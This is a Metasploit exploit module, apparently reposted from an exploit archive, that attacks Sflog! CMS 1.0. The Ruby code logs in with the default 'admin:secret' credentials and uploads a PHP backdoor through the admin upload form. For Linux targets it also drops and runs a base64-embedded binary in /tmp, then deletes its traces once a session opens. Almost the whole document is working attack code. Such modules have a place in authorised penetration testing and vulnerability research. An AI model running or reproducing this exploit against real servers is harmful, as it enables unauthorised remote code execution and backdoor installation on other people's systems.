Sflog! CMS 1.0 Arbitrary File Upload

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
      'Description'    => %q{
        This module exploits multiple design flaws in Sflog 1.0.  By default, the CMS has
        a default admin credential of "admin:secret", which can be abused to access
        administrative features such as blogs management.  Through the management
        interface, we can upload a backdoor that's accessible by any remote user, and then
        gain arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'dun',    #Discovery, PoC
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '83767'],
          ['EDB', '19626']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'       => ['linux', 'php'],
      'Targets'        =>
        [
        [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
        [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jul 06 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
        OptString.new('USERNAME',  [true, 'The username to login with', 'admin']),
        OptString.new('PASSWORD',  [true, 'The password to login with', 'secret'])
      ], self.class)
  end


  def check
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    base = File.dirname("#{target_uri.path}.")

    res = send_request_raw({'uri'=>"#{base}/index.php"})

    if not res
      return Exploit::CheckCode::Unknown
    elsif res and res.body =~ /\<input type\=\"hidden\" name\=\"sitesearch\" value\=\"www\.thebonnotgang\.com\/sflog/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end


  #
  # Embed our binary in PHP, and then extract/execute it on the host.
  #
  def get_write_exec_payload(fname, data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %Q|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("chmod 777 #{fname}");
    exec("#{fname}");
    ?>
    |
    php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
    return php
  end


  def on_new_session(cli)
    if cli.type == "meterpreter"
      cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
    end

    @clean_files.each do |f|
      print_status("#{@peer} - Removing: #{f}")
      begin
        if cli.type == 'meterpreter'
          cli.fs.file.rm(f)
        else
          cli.shell_command_token("rm #{f}")
        end
      rescue ::Exception => e
        print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
      end
    end
  end


  #
  # login unfortunately is needed, because we need to make sure blogID is set, and the upload
  # script (uploadContent.inc.php) doesn't actually do that, even though we can access it
  # directly.
  #
  def do_login(base)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => "#{base}/admin/login.php",
      'vars_post' => {
        'userID'   => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\<i\>Access denied\!\<\/i\>/
      return res.headers['Set-Cookie']
    else
      return ''
    end
  end


  #
  # Upload our payload, and then execute it.
  #
  def upload_exec(cookie, base, php_fname, p)
    data = Rex::MIME::Message.new
    data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
    data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
    data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
    data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")

    # The app doesn't really like the extra "\r\n", so we need to remove the newline.
    post_data = data.to_s
    post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

    print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{base}/admin/manage.php",
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => post_data,
      'cookie' => cookie,
      'headers' => {
        'Referer' => "http://#{rhost}#{base}/admin/manage.php",
        'Origin'  => "http://#{rhost}"
      }
    })

    if not res
      print_error("#{@peer} - No response from host")
      return
    end

    target_path = "#{base}/blogs/download/uploads/#{php_fname}"
    print_status("#{@peer} - Requesting '#{target_path}'...")
    res = send_request_raw({'uri'=>target_path})
    if res and res.code == 404
      print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
      return
    end

    handler
  end


  def exploit
    @peer = "#{rhost}:#{rport}"

    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    base = File.dirname("#{target_uri.path}.")

    print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
    cookie = do_login(base)

    if cookie.empty?
      print_error("#{@peer} - Unable to login")
      return
    end

    php_fname =  "#{Rex::Text.rand_text_alpha(5)}.php"
    @clean_files = [php_fname]

    case target['Platform']
    when 'php'
      p = "<?php #{payload.encoded} ?>"
    when 'linux'
      bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
      @clean_files << bin_name
      bin = generate_payload_exe
      p = get_write_exec_payload("/tmp/#{bin_name}", bin)
    end

    upload_exec(cookie, base, php_fname, p)
  end
end



#  0day.today [2018-03-14]  #